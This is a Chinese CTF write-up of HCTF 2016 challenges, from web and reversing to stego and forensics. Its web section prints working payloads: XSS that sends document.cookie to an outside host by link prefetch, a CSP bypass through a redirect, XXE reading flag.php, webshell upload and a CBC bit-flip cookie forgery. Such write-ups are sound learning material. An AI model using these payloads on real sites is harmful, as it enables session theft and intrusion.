HCTF 2016 Writeup

By L-Team ( Rank 5 / 25 solved / 5424 )

Web

Encore time

回答完问卷就有flag啦……

2099的flag

打开首页提示

only ios99 can get flag(Maybe you can easily get the flag in 2099 

随后查看源代码提示说给他POST提交一个hint,所以在请求头修改user-agent 和提交一个hint参数即可在响应头看到flag:

POST / HTTP/1.1
Host: 2099.hctf.io
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 99_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A403 Safari/8536.25
Accept: textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 6

hint

guestbook

验证码直接用python暴力跑md5就可以了。看留言板的信息,首先过滤了一次敏感关键字,用scscriptript的方式就绕过了;csp限制了脚本只能访问自身域下的资源吗,但是csp的script src规定了unsafe-inline模式。参照heige的文章,因此可以使用<link prefetch="xxx.com" />的方式来把cookies传递出去。这里构造payload如下:

document.cookie = "csp=" + escape("sad@jisajid&*JDSJddsajhdsajkh21sa213123o1") + ";";
var xx = document.createElement("link");
xx.setAttribute("rel", "prefetch");
xx.setAttribute("href", "//www.math1as.com/xxx.php?var=" + document.cookie);
document.head.appendChild(xx);

收到了管理员的cookies,最终访问得到flag。

web 大图书馆的牧羊人

/.git/目录存在,并且提示403,直接使用git hack工具拖下整套web源码。审计后发现了user的加密密钥,构造出admin的cookies:

_icavZOMQYJWReJtLoC0RgT1NJbIzA5pudRrrGYSxhY

紧接下来进入后台后,审计源码,发现上传zip后会自动被解压到uploads目录下。于是上传包含php文件的压缩包,即可获得webshell,之后读取flag.php的内容,获得了flag:
hctf{Serena_is_the_leading_role}

secret area

和guestbook很类似,只是有所转变。登陆后发现重定向的地址是/static/redirect.php,使用了302重定向。试着构造crlf无果,看上传也没有明显漏洞,于是继续构造发消息的xss。csp限制了只能执行/static/目录下的脚本,于是想着用redirect构造跳转到upload目录下的文件,上传文件时再把document.cookie发给自己的用户。

构造payload如下

var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST","submit.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("to=mathias50&message="+document.cookie);

发送给admin用户如下信息

<scrscriptipt src="http://sguestbook.hctf.io/static/redirect.php?u=http://sguestbook.hctf.io/upload/aa2b0f8a88dd7589496fade78ace511c"></scrscriptipt>

成功获得cookies,登陆admin用户后得到flag

AT field1

打开题目后存在一个地方可以输入一个图片的地址,并且地址只允许http协议,然后把查询的内容base编码后回显,所以很明显的一个SSRF。然而必须输入一个标准域名格式,所以自己解析一个域名到127.0.0.1,然后访问post提交link=http://域名/就会返回题目服务器本地127.0.0.1的内容,进行base64解码就可以看到flag:

Welcome to AT Field,but it iz just a start.

ok,ok,ok

get you flag1

flag1 is hctf{s5rf_iz_3xit1ng}

RESTFUL

这题主要使用的就是HTTP的PUT方法。其实Google下RESTFUL就能明白该怎么做。
使用Burpsuite将访问题目的数据包拦截,并把头改为“ PUT /money/12451 ”即可。

魔法禁书目录

源码和大图书馆的牧羊人是一样的,因此直接审计,发现使用了aes算法对cookie的user值进行加密。但是很不幸的是,它对其使用了CBC加密模式,而且我们可以修改密文,所以这里进行byte反转攻击。

首先注册用户名为admin10,查阅php手册,确定加密函数使用的padding为0x00后,把IV向量(长度为16)全部替换为0XFF,确定了密文的中间值。然后把IV替换为 中间值 xor IV=0x00的值,构造出的cookies为H-MccSpTwOy3w6GusmPep1cQb2JzmMdchj-v3mDeYgk

接下来需要访问login.php使session生效,然后看上传图书功能,这次直接上传php,但无法生效了,被注释。于是查看图书epub的格式,发现其实就是zip压缩后,由里面的xml决定格式,那么构造payload如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [ 
<!ENTITY hello SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<ncx xmlns="http://www.daisy.org/z3986/2005/ncx/" version="2005-1">
   <head>
      <meta name="dtb:uid" content="bookid"/>
      <meta name="dtb:depth" content="0"/>
      <meta name="dtb:totalPageCount" content="0"/>
      <meta name="dtb:maxPageNumber" content="0"/>
   </head>
   <docTitle>
      <text>UnKnown</text>
   </docTitle>
   <navMap>
      <navPoint id="content" playOrder="1">
         <navLabel>
           <text>&hello;</text>
         </navLabel>
         <content src="TxtToHtml_11004.html"/>
      </navPoint>   </navMap>
</ncx>

成功获得flag
hctf{Lillie_is_comming}

跑得比香港记者还快

README.md提供了提示,注册用户后,还需要跟着一个降权的操作,这里其实就是一个时间竞争了。直接用脚本跑若干个1s后,出flag

2.png

兵者多诡

进入站点,发现是一个文件上传类型的题目。那么fp决定了可以包含的文件名,在后面加上了'.php'的限制,不过可以使用php://filter来读源码,查看到了所有php的源代码。

1.png

直接上传一个压缩包,将其重命名为png,然后包含wrapper zip://uploads/xxx.png%23xx.php

getshell后,在上层目录找到flag文件。可见flag为hctf{Th1s_1s_e4sY_1s_n0T_1t?}

giligili eye

crypto.jsmt.js先扔控制台执行一下,再把function check()之前的一坨定义扔控制台执行一下。

分析flag验证的过程,注意到o = answer.split("_");把flag用下划线切了四段(后面没有出现过o[4]);然后o[0] = o[0].substring(5);o[3] = o[3].substring(0, o[3].length - 1);的作用是去掉第一段{之前的,去掉最后一段}之前的。

然后来按过程分析一下,第一句h的生成没啥用,flag前四个:hctf嘛。

然后一堆数学过程,交给控制台跑一下。注意到通过o[1]o[2]计算了e的值然后判定对不对,接着用控制台跑一下。s我们在这个过程中值可以确定了,通过e = -(this[_[$[42]]](_[$[31]](o[1])) ^ s[0]);if (-e != $[21]) return false;

假设e = -$[21],倒着推,用控制台进行计算,加上一点手动尝试,可以得到o[1]的值,同理o[2]的值也可以恢复出来:o[1]="iz",o[2]="y0ur"。下面是o[0]o[3]的恢复。对这两个长度做对比,限制了o[0]的长度等等。通过最后几句,有:

  • 计算h的值,利用i=h
  • o3中234位和678位相同;
  • 0x2ef3分解为111*109就是w和e;
  • a包含"84";
  • a的生成取了o[
  • parseInt(a.split("84")[1], $.length / 2) != 0x4439feb得到最后两个是??,都这样了o[3]肯定比o[0]长吧,而且至少多少也是知道的了;

既直接有用的就下面几句(提取的信息):

a = parseInt(_[$[23]]("1", Math.max(o[0].length, o[3].length)), 3) ^ eval(_[$[31]](o[0]));
a += _[$[31]](o[3].substring(o[3].length - 2)).split("x")[1];
parseInt(a.split("84")[1], $.length / 2) = 0x4439feb
parseInt(a, 16) == (Math.pow(2, 16) + -5 + "") + o[3].charCodeAt(o[3].length - 3).toString(16) + "53846" + (new Date().getFullYear() - 1 + "");
f = _[$[23]](o[3].charAt(o[3].length - 4), 3) == o[3].substring(1, 4));
_[$[23]](o[3].charAt(3), 3) == o[3].substring(5, 8) && o[3].charCodeAt(1) * o[0].charCodeAt(0) == 0x2ef3;
i = _[$[31]](o[3].split(f).join("").substring(0, 2)).split("x")[1];

利用上面这些信息就基本可以恢复o[3]这部分了;应该先得到"nd",然后中间填的e,最后俩问号。o[3]=neee3eeed??。返回来接着利用a恢复o[0],第一位w,五位,跑一下,最终得到了o[0]=wh3r3。总结一下,就得到了flag: hctf{wh3r3_iz_y0ur_neee3eeed??}

Re

Web

  1. read,flag读入后,分别拷贝到ebp-134h,ebp-36h,#hctf{It_1s_s0_3a5y!}
  2. swap,然后从两头不断交换
  3. xor,\xcc异或,#}hyKaa_uss_10t3{5t!h
  4. cmp,#'B1A4B587ADAD93B9BFBF93FDFCB8FFB7F9B8EDA4'
    大概就是这样

前年的400分

from z3 import *

l = locals()
for i in xrange(1,25):
    s = 'v'+str(i)
    l[s] = Int(s)

s = Solver()
s.add(
    v3 == 104,v4==99,v5==116,v6==102,v7==123,v24==125,
    v2 == 751 * v21,
    757 * v9 + 691 * v13 + 659 * v4 + 1303 * v5 + 1949 * v6 + 3361 * v20 + 3527 * v8 + 4447 * v7 + 5303 * v15 + 5417 * v23 + 5507 * v11 + 6829 * v24 + 7907 * v12 + 8117 * v16 + 9103 * v17 + 8923 * v3 + 9067 * v22 + 9391 * v18 + 9629 * v14 + v2 + 367 * v10 + 89 * v19 == 8681180, 
    269 * v11 + 107 * v5 + 67 * v18 + 1213 * v8 + 769 * v13 + 1259 * v4 + 1237 * v14 + 3863 * v20 + 3163 * v19 + 3259 * v10 + 4357 * v23 + 4229 * v7 + 4447 * v21 + 5501 * v15 + 5569 * v22 + 5323 * v12 + 5503 * v24 + 6763 * v16 + 8597 * v6 + 8053 * v17 + 8831 * v9 + 9067 * v3 == 7417550, 
    1609 * v13 + 1973 * v5 + 2791 * v10 + 2953 * v18 + 4861 * v11 + 4451 * v22 + 6131 * v20 + 6301 * v9 + 6961 * v7 + 7187 * v23 + 6143 * v17 + 7247 * v19 + 7853 * v21 + 8269 * v6 + 8929 * v8 + 7583 * v16 + 8219 * v14 + 8629 * v24 + 9533 * v3 + 8053 * v12 + 911 * v15 + 23 * v4 == 11208302, 
    239 * v8 + 937 * v7 + 389 * v4 + 1487 * v5 + 1039 * v3 + 3461 * v20 + 2897 * v10 + 3583 * v9 + 4229 * v21 + 3307 * v12 + 5987 * v6 + 7177 * v23 + 7459 * v13 + 6959 * v17 + 8893 * v11 + 7949 * v18 + 7643 * v24 + 8521 * v14 + 9769 * v15 + 9137 * v19 + 9059 * v22 + 9689 * v16 == 10158302, 
    73 * v7 + 139 * v14 + 919 * v10 + 1613 * v6 + 2053 * v17 + 2207 * v12 + 5077 * v15 + 5387 * v11 + 4421 * v19 + 5717 * v20 + 6337 * v23 + 6211 * v13 + 6271 * v4 + 8243 * v8 + 7211 * v16 + 7159 * v24 + 8779 * v21 + 7853 * v3 + 9013 * v9 + 8443 * v18 + 9371 * v5 + 8971 * v22 == 10528764, 
    877 * v23 + 797 * v9 + 1613 * v5 + 647 * v16 + 1973 * v6 + 1039 * v24 + 2381 * v13 + 3923 * v7 + 3019 * v3 + 3329 * v18 + 4679 * v14 + 5869 * v15 + 6199 * v19 + 7643 * v11 + 7349 * v20 + 7411 * v17 + 8821 * v8 + 7297 * v12 + 8377 * v4 + 8731 * v22 + 4969 * (v21 + v10) == 8439002, 
    271 * v7 + 227 * v6 + 683 * v20 + 1259 * v11 + 743 * v21 + 1051 * v9 + 991 * v18 + 2473 * v23 + 1361 * v12 + 2621 * v17 + 3673 * v13 + 3089 * v3 + 4679 * v15 + 4519 * v24 + 5701 * v10 + 6079 * v22 + 7159 * v5 + 8161 * v8 + 8311 * v14 + 7877 * v16 + 9859 * v4 + 9949 * v19 == 8283164, 
    457 * v20 + 509 * v9 + 2083 * v21 + 2011 * v13 + 1259 * v3 + 1187 * v24 + 2003 * v18 + 4657 * v7 + 3821 * v10 + 4591 * v8 + 4951 * v6 + 4651 * v4 + 4547 * v14 + 4127 * v12 + 4871 * v19 + 5479 * v5 + 4561 * v22 + 6661 * v11 + 6947 * v23 + 7621 * v15 + 5261 * (v16 + v17) == 7363328, 
    241 * v21 + 727 * v20 + 1297 * v7 + 1873 * v15 + 937 * v19 + 499 * v16 + 2003 * v6 + 2381 * v9 + 3769 * v5 + 4283 * v8 + 4099 * v14 + 4483 * v13 + 4703 * v3 + 4799 * v22 + 6361 * v23 + 7057 * v11 + 5897 * v18 + 5531 * v24 + 7583 * v17 + 8429 * v10 + 9629 * v4 + 9371 * v12 == 8086756, 
    307 * v8 + 151 * v5 + 17 * v14 + 19 * v22 + 283 * v3 + 2113 * v6 + 2777 * v11 + 853 * v24 + 2411 * v20 + 1543 * v16 + 3559 * v23 + 2897 * v21 + 3851 * v9 + 3529 * v18 + 3833 * v19 + 5591 * v4 + 7229 * v7 + 8563 * v15 + 7757 * v12 + 8243 * v17 + 8831 * v13 + 8963 * v10 == 6881830, 
    v1 ==9467 * v3,
    4001 * v21  + 479 * v12  + 2083 * v6  + 887 * v16  + 2269 * v5  + 2207 * v4  + 2633 * v9  + 3329 * v19  + 3253 * v24  + 5393 * v15  + 4243 * v18  + 5801 * v8  + 7121 * v20  + 6043 * v22  + 6329 * v17  + 7741 * v7  + 8263 * v23  + 7649 * v14  + 9257 * v11  + 9467 * v3  + 349 * v10  + 331 * v13 == 8515200,  
    127 * v17 + 1063 * v21 + 1619 * v14 + 2791 * v9 + 3121 * v10 + 2341 * v24 + 4129 * v7 + 4597 * v11 + 5801 * v15 + 4993 * v3 + 6833 * v5 + 7817 * v23 + 6173 * v16 + 7577 * v4 + 8147 * v13 + 8093 * v19 + 8179 * v18 + 9319 * v20 + 9157 * v22 + 8053 * v12 + 661 * v6 + 67 * v8 == 9512852, 
    251 * v11 + 887 * v23 + 617 * v6 + 523 * v22 + 2887 * v15 + 1493 * v3 + 2521 * v14 + 2437 * v16 + 3301 * v10 + 4457 * v20 + 4219 * v9 + 3203 * v12 + 3907 * v19 + 5557 * v7 + 5653 * v18 + 8387 * v8 + 8443 * v13 + 7883 * v17 + 9091 * v21 + 8101 * v24 + 9137 * v4 + 9787 * v5 == 9666654, 
    1867 * v15 + 683 * v22 + 1187 * v16 + 1801 * v14 + 2251 * v4 + 2347 * v19 + 3019 * v21 + 4153 * v6 + 3541 * v17 + 4813 * v20 + 4999 * v8 + 5669 * v9 + 6869 * v23 + 5527 * v18 + 5051 * v24 + 7949 * v11 + 7019 * v12 + 9067 * v5 + 9343 * v10 + v1 + 113 * v13 + 557 * v7 == 8457532, 
    281 * v23 + 467 * v15 + 449 * v8 + 691 * v21 + 443 * v17 + 823 * v19 + 2099 * v9 + 1933 * v12 + 2467 * v22 + 3557 * v5 + 4099 * v6 + 3299 * v16 + 3739 * v18 + 5393 * v11 + 5279 * v7 + 4049 * v24 + 7499 * v20 + 6827 * v14 + 7333 * v3 + 8677 * v4 + 8929 * v10 + 9157 * v13 == 8644856, 
    1063 * v16 + 1187 * v12 + 2551 * v19 + 3187 * v22 + 4943 * v11 + 4651 * v13 + 5651 * v7 + 6199 * v23 + 6359 * v15 + 7691 * v8 + 7649 * v20 + 7963 * v6 + 7541 * v17 + 7489 * v3 + 7433 * v24 + 8537 * v10 + 9011 * v14 + 9769 * v5 + 9187 * v18 + 4001 * v21 + 947 * v9 + 739 * v4 == 11429680, 
    1033 * v13 + 1291 * v9 + 1823 * v8 + 2777 * v15 + 2459 * v6 + 1877 * v19 + 3671 * v11 + 2339 * v24 + 5077 * v21 + 6037 * v23 + 4673 * v12 + 5653 * v3 + 6203 * v17 + 7583 * v20 + 6673 * v18 + 8389 * v14 + 9419 * v5 + 9349 * v4 + 8629 * v16 + 9227 * v22 + 2423 * (v7 + v10) == 9556586, 
    797 * v13 + 1571 * v20 + 1163 * v22 + 3191 * v15 + 1663 * v3 + 3697 * v8 + 3181 * v19 + 3209 * v14 + 3529 * v4 + 3259 * v16 + 4327 * v9 + 4421 * v24 + 5563 * v17 + 5717 * v18 + 6053 * v10 + 6833 * v6 + 7639 * v11 + 6679 * v12 + 9631 * v5 + v2 + 211 * v23 + 17 * v7 == 7325112, 
    41 * v7 + 11 * v20 + 1543 * v15 + 1279 * v9 + 2273 * v3 + 2441 * v22 + 4241 * v8 + 4129 * v14 + 4483 * v10 + 4357 * v17 + 6581 * v11 + 5557 * v19 + 6733 * v23 + 5651 * v16 + 7723 * v21 + 6521 * v24 + 7583 * v13 + 8081 * v5 + 6863 * v12 + 9311 * v6 + 9341 * v4 + 9521 * v18 == 10497488, 
    43 * v8 + 241 * v4 + 223 * v14 + 1609 * v7 + 2819 * v11 + 1171 * v3 + 2767 * v15 + 3583 * v6 + 3221 * v16 + 4493 * v13 + 3467 * v24 + 3989 * v22 + 6113 * v20 + 5867 * v10 + 5897 * v19 + 6737 * v21 + 5659 * v12 + 6173 * v17 + 6947 * v18 + 9733 * v23 + 9281 * v9 + 9851 * v5 == 8247054, 
    173 * v3 + 83 * v24 + 1723 * v8 + 1213 * v10 + 2731 * v11 + 2099 * v4 + 2657 * v9 + 2953 * v5 + 3329 * v21 + 3169 * v17 + 4987 * v7 + 4637 * v14 + 5003 * v18 + 5407 * v16 + 5843 * v22 + 7243 * v6 + 8017 * v23 + 9203 * v15 + 7507 * v12 + 8681 * v19 + 9721 * v13 + 2 * v20 == 8042927 , 
    127 * v8 + 419 * v21 + 1613 * v13 + 2927 * v7 + 3343 * v15 + 3559 * v20 + 3109 * v4 + 2617 * v16 + 5171 * v11 + 3907 * v12 + 4567 * v14 + 4783 * v10 + 5233 * v9 + 6067 * v23 + 4481 * v24 + 5119 * v3 + 5387 * v17 + 7993 * v6 + 8369 * v5 + 7829 * v19 + 8713 * v18 + 9931 * v22 == 9039810 
)

if s.check() == sat:
    print s.model()

点我点我,我是最正常的逆向题

从某种角度上来说,这的确是最正常的逆向题了……因此我就直接用脚本和注释写wp了= =

_ = """可在idapython中运行部分代码。。。"""

_ = """Step 0:判断得到的输入长度是不是26,并判断最后一位是不是大括号'"""

def xor_decrypt(start_ea, stop_ea, key):
  for i in range(stop_ea-start_ea+1):
    ea=start_ea+i
    ida_bytes.patch_byte(ea, (ida_bytes.get_byte(ea))^key)
  print("OP finished")

_ = """Step 1:解密从0x601540开始的712个bytes。该代码判断其开头是否为'hctf{' """
xor_decrypt(0x601540, 0x601540+712+1, ord('}'))

_ = """Step 2:解密从0x601060开始的1245个bytes"""
xor_decrypt(0x601060, 0x601060+1245+1, 0x6A)
_ = """然后执行。不想分析细节,所以干脆提取出来,稍加修改,跑了一下:"""
#include <stdio.h>
#   
#   void main()
#   {
#     unsigned int v3; // eax@8
#     unsigned int v4; // eax@11
#     unsigned char v7[256]; // [rsp+20h] [rbp-150h]@5
#     char v8[8]; // [rsp+120h] [rbp-50h]@2
#     char v9[8]; // [rsp+130h] [rbp-40h]@1
#     unsigned char v10[4]; // [rsp+140h] [rbp-30h]@1
#     char *v11; // [rsp+148h] [rbp-28h]@26
#     int v12; // [rsp+154h] [rbp-1Ch]@11
#     int v13; // [rsp+158h] [rbp-18h]@8
#     int v14; // [rsp+15Ch] [rbp-14h]@1
#     int v15; // [rsp+160h] [rbp-10h]@1
#     int j; // [rsp+164h] [rbp-Ch]@10
#     unsigned int v17; // [rsp+168h] [rbp-8h]@7
#     int i; // [rsp+16Ch] [rbp-4h]@1
#   
#     v15 = 4;
#     v14 = 8;
#     strcpy(v9, "\x5d\x09\x90\x90\x26\x2f\x01\x8A");
#     v10[0] = 'h';                                // h
#     v10[1] = 'c';                               // c
#     v10[2] = 't';                               // t
#     v10[3] = 'f';                               // f
#     for ( i = 0; i <= 255; ++i )
#       v7[i] = i;
#     v17 = 0;
#     for ( i = 0; i <= 255; ++i )                  // table swap
#     {
#       v3 = (unsigned int)((signed int)(v7[i] + v17 + v10[(signed long long )(i % v15)]) >> 31) >> 24;
#       v17 = (unsigned char)(v3 + v7[i] + v17 + v10[(signed long long )(i % v15)]) - v3;
#       v13 = v7[i];
#       v7[i] = v7[v17];
#       v7[v17] = v13;
#     }
#     i = 0;
#     v17 = 0;
#     for ( j = 0; j < v14; ++j )
#     {
#       i = (unsigned char)(((unsigned int)((i + 1) >> 31) >> 24) + i + 1) - ((unsigned int)((i + 1) >> 31) >> 24);
#       v4 = (unsigned int)((signed int)(v17 + v7[i]) >> 31) >> 24;
#       v17 = (unsigned char)(v4 + v17 + v7[i]) - v4;
#       v13 = v7[i];
#       v7[i] = v7[v17];
#       v7[v17] = v13;
#       v12 = v7[(unsigned char)(v7[i] + v7[v17])];
#       printf("[[%d]]\n", v12);
#     }
#   }
# Result: 89, 12, 152, 150, 35, 41, 14, 143
_ = """然后用python脚本把后面的一步走完:"""
# Get source:
v=[0x5d, 0x09, 0x90, 0x90, 0x26, 0x2f, 0x01, 0x8A]
u=[89, 12, 152, 150, 35, 41, 14, 143]
for i in range(len(v)):
  v[i]^=u[i]
for i in range(4):
  u[i] = chr(((v[2*i])&0xf)+((v[2*i+1])<<4))
print(''.join(u[:4]))
_ = """得到结果为The_ """

_ = """Step 3:用解密后的结果解密,解密下几段代码。从日志里看,这些代码前期似乎没做验证相关的事情,只是在解密自己"""
# Step3.1
# next=step1_xor_125+214
def str_xor_decrypt(code_start_ea, clen, skey):
  for i in range(clen):
    code_ea = code_start_ea+i
    key = ord(skey[i%len(skey)])
    ida_bytes.patch_byte(code_ea, (ida_bytes.get_byte(code_ea))^key)
  print("OP finished")
# Step 3.2
def area_xor_decrypt(code_start_ea, key_start_ea, len, key_offset=0):
  for i in range(len):
    code_ea = code_start_ea+i
    key_ea  = key_start_ea+i
    ida_bytes.patch_byte(code_ea, 
        (ida_bytes.get_byte(code_ea))^(key_offset + ida_bytes.get_byte(key_ea)))
  print("OP finished")
str_xor_decrypt(0x601616, 499, "The_")
area_xor_decrypt(0x601060,0x601060+981,265)
_ = """Step 4: 然后跑了个简单的算法,每四个字节被用于验证三个字节(诶怎么这么像Base64……不管了总之算出来了),结果是Basic_"""
# step4: 601616
# verify 8 chars in two group gch=gc[0,1], during this:
# (gch[0]>>2)+0x30                     ((gch[0]<<4)&0x30)+(gch[1]>>4)+0x30
# ((gch[1]<<2)&0x3C)+(gch[2]>>6)+0x30  (gch[2]&0x3F) + 0x30
# result: "Basic_"

_ = """Step 5: 解密另一端代码。这段代码会验证后几个字节是不是0f_RE_"""
# step 5:
#u="\x12wS4ES"
#v=''.join([chr((0xff)&(((0x11^ord(i))<<4)+((0x11^ord(i))>>4))) for i in u])
xor_decrypt(0x601060, 0x601060+264+1, 0x23)

_ = """Step 6: 用上一次解密的输出,解密另一端代码。这段代码验证最后几个字节是不是0A5c"""
str_xor_decrypt(0x6017A0, 105, "0f_RE_")

_ = """最后拼一下,得到flag是 hctf{The_Basic_0f_RE_0A5c}"""

Misc & Forensic

48小时精通C++

表示并不懂什么是C++,也并不会用模板= =

首先对拿到的文件做一点替换,然后看看对FLAG的引用,有这么个地方比较让我在意:

template <int rhs> struct op_x {
  enum { result = rhs + op_x<rhs - 1>::result };
};
template <> struct op_x<0> {
  enum { result = 0 };
};

感觉很像是某种递归,但是既没法编译(报错成迷),又不会看语法,总之就这么猜了。从这段代码推断出模板是如何实现参数传递和递归的,然后试着用这种思路读一下原来的cpp文件,可以发现源文件大体上是对部分操作用模板封装了一下,整理后大致上是这样的:

#include <stdio.h>
constexpr char FLAG[] = "PleasedInputdThedFlag"; // input the flag !!!

template <int lhs, int rhs> struct op_bitIsEqual {
  enum { result = (lhs == rhs) };
};
template <int lhs, int rhs> struct op_bitXor {
  enum { result = (lhs ^ rhs) };
};
template <int rhs> struct get_element_from_Flag {
  enum { result = FLAG[rhs] };
};
template <int lhs, int rhs> struct op_mod {
  enum { result = lhs % rhs };
};
template <int lhs, int rhs> struct op_lhs {
  const static int result = rhs << lhs;
};
template <int lhs, int rhs> struct op_rhs {
  const static int result = rhs >> lhs;
};
template <int lhs, int rhs> struct op_bitAnd {
  const static int result = lhs & rhs;
};
template <int lhs, int rhs> struct op_bitOr {
  const static int result = lhs | rhs;
};
template <int rhs> struct solve_sum {
  enum { result = rhs + solve_sum<rhs - 1>::result };
};
template <> struct solve_sum<0> {
  enum { result = 0 };
};
template <int rhs> struct fCheckFlagLength {
  enum { result = op_bitIsEqual<(sizeof(FLAG) - 1), rhs>::result };
};
template <int lhs, int rhs> struct is_end_string {
  enum {
    result = op_bitIsEqual<
        op_bitXor<get_element_from_Flag<lhs>::result, 0x20>::result, 93>::result
  };
};
template <int lhs> struct is_end_string<lhs, 0> {
  enum { result = 0 };
};
constexpr int Arr1[] = {88, 83, 68, 86, 75};
template <int lhs> struct get_element_from_Arr1 {
  enum { result = Arr1[lhs] };
};
template <int lhs, int rhs> struct verify_head_string {
  enum {
    result = verify_head_string<
        lhs - 1, op_bitIsEqual<get_element_from_Arr1<lhs>::result,
                               op_bitXor<get_element_from_Flag<lhs>::result,
                                         0x30>::result>::result>::result
  };
};
template <int lhs> struct verify_head_string<lhs, 1> {
  enum {
    result = verify_head_string<
        lhs - 1, op_bitIsEqual<get_element_from_Arr1<lhs>::result,
                               op_bitXor<get_element_from_Flag<lhs>::result,
                                         0x30>::result>::result>::result
  };
};
template <> struct verify_head_string<-1, 1> {
  enum { result = 1 };
};
template <int lhs> struct verify_head_string<lhs, 0> {
  enum { result = 0 };
};
template <int lhs, int rhs> struct get_verity_flag {
  enum { result = 0 };
};
template <int lhs> struct get_verity_flag<lhs, 0> {
  enum { result = (get_element_from_Flag<lhs + 5 * 1>::result + lhs) };
};
template <int lhs> struct get_verity_flag<lhs, 1> {
  enum { result = (get_element_from_Flag<lhs + 5 * 1>::result - lhs) };
};
template <int lhs> struct sum_and_xor_106 {
  enum { result = op_bitXor<solve_sum<lhs>::result, 106>::result };
};
template <int lhs> struct get_verity_V2_flag {
  enum {
    result = op_bitXor<get_verity_flag<lhs, op_mod<lhs, 2>::result>::result,
                       sum_and_xor_106<lhs>::result>::result
  };
};
template <int lhs> struct UpHighSwitch {
  const static int result =
      op_bitOr<op_rhs<4, lhs>::result,
               op_lhs<4, op_bitAnd<lhs, 0xF>::result>::result>::result;
};
template <int lhs> struct fun18 { // xor with previously result
  const static int result =
      op_bitXor<UpHighSwitch<get_verity_V2_flag<lhs>::result>::result,
                fun18<lhs - 1>::result>::result;
};
template <> struct fun18<0> {
  const static int result = UpHighSwitch<get_verity_V2_flag<0>::result>::result;
};
constexpr int Arr2[] = {0x93, 0xd7, 0x57, 0xb5, 0xe5, 0xb0, 0xb0,
                        0x52, 0x2,  0x0,  0x72, 0xb5, 0xf1, 0x80,
                        0x7,  0x30, 0xa,  0x30, 0x44, 0xb};
template <int lhs> struct get_element_from_Arr2 {
  enum { result = Arr2[lhs] };
};
template <int lhs, int rhs> struct fun20 {
  enum {
    result = fun20<lhs + 1, op_bitIsEqual<get_element_from_Arr2<lhs>::result,
                                          fun18<lhs>::result>::result>::result
  };
};
template <> struct fun20<20, 1> {
  enum { result = 1 };
};
template <int lhs> struct fun20<lhs, 0> {
  enum { result = 0 };
};
template <int rhs> struct verify_head_end {
  enum {
    result = is_end_string<26 - rhs, verify_head_string<4, 1>::result>::result
  };
};
template <> struct verify_head_end<0> {
  enum { result = 0 };
};

struct cStart {
  enum { ret = fun20<0, verify_head_end<1>::result>::result };
};

int main() {
  if (cStart::ret) {
    printf("Yes,You got it\n");
  } else {
    printf("Sorry,try again\n");
  }
  return 0;
}

显然,这个算法是可逆的。用如下脚本可以得到flag的核心部分:

arr2 = [0x93, 0xd7, 0x57, 0xb5, 0xe5, 0xb0, 0xb0, 
        0x52, 0x2,  0x0,  0x72, 0xb5, 0xf1, 0x80,
        0x7,  0x30, 0xa,  0x30, 0x44, 0xb]
def hvpr(x, i):
  #print(hex(x))
  x = ((0xf0)&(x<<4))+((x>>4)&(0x0f))
  z = sum(list(range(i+1)))^106
  x ^= z
  #print(x&0xff)
  if (i%2):
    x+=i
  else:
    x-=i
  #print(x&0xff)
  return chr(x&0xff)


#defuse
arr3 = list(arr2)
for i in range(len(arr2)):
  if i==0:
    arr3[i] = hvpr(arr2[i], i)
  else:
    arr3[i] = hvpr(arr2[i]^arr2[i-1], i)
print(''.join(arr3))
# S0_Ea5y_Cpp_T3mp1at3

P.S.: 还是太菜了,需要多向师傅们学习新东西啊

杂项签到

首先我们拿到流量包,在这里按照包长度排序一下就能找到用来加密的python脚本以及加密后的flag。
接下来,我们将flag用base64解密,然后直接使用脚本的decrypt函数就可以恢复出flag明文。

gogogo

这题是NES逆向吧。在上次的某比赛有个赤色要塞的NES逆向和这个差不多。当然,作为一个WEB和MISC狗是不会逆向这种高大上的东西的。因此,开个金手指十分钟通关就能得到flag了。
至于逆向的做法,大致是先找到魂斗罗原版,然后两个文件进行二进制对比,找到不同的数据,再根据NES的做法对比调色板,就能得到flag了。

pic again

这是一题LSB图像隐写题。先用工具将图片中的LSB隐写数据提取,会发现在提取的到的bin文件里有 50 4B 01 02 这样的zip文件标识。经过分析之后,发现出题人将文件头给删去了,我们将其补齐就能得到一个压缩包,打开就是flag。

web选手的自我修养

这题我用的是非正规解法。首先,拿到docker镜像,将其load还原,然后docker run -t -i hctf/misc150 /bin/bash 来进入容器。我们可以发现,在home目录下有一个opache后门的扫描程序。那么就能初步判断这是 PHP7 的Opcache后门。
首先我们尝试使用这个扫描器,结果不断报错。估计是库的版本不对还是怎么样。。就很气。在经过几个小时的修复和尝试重写工具之后,发现这是徒劳的。。
最后将 /tmp/opcche 拖出来,肉眼查找flag,找了一小时在 class-wp.php.bin 文件里找到了经过base64加密后的字符串。
其实,这题更暴力的解法是 strings *.php.bin|grep base64(“hctf”) 当然,这也不是正规解法。。应该是使用工具分析opcache字节码找到真正的后门。

你们所知道的隐写仅此而已吗

首先看到题就联想到知乎这个问题阿里巴巴公司根据截图查到泄露信息的具体员工的技术是什么?,于是仔细研究了下高票答案所使用的MATLAB代码。

并没有上过信号课的我百度相关图像处理的知识后猜测这个水印flag的加上去的方式大概是:

  1. 将原图傅里叶变换得到变量一
  2. 将水印flag傅里叶变换得到变量二
  3. 将变量一与变量二求和后再进行傅里叶逆变换

经过google识图找到没有水印的原图raw.bmp,分别对原图和题图进行二维离散傅里叶变换再将说得值相减后得到的值进行二维离散逆傅里叶变换后应该就是flag了。但是得到的结果并不是flag。

MATLAB代码验证猜测:

clc;clear;close all;
%-------------------
pic = imread('shimakaze.bmp');
raw = imread('raw.bmp');
FA = fft2(raw);
FA2 = fft2(pic);
%-------------------
G = (FA2 - FA);
GG = ifft2(G);
figure,imshow(G);title('extracted watermark');

接着考虑,因为是彩色图,自然而然想到进行三维离散傅里叶变换处理,但还是没有得到flag。

最后尝试使用MATLAB中离散傅里叶变换的函数fft(),得到了flag。

clc;clear;close all;
%-------------------
pic = imread('shimakaze.bmp');
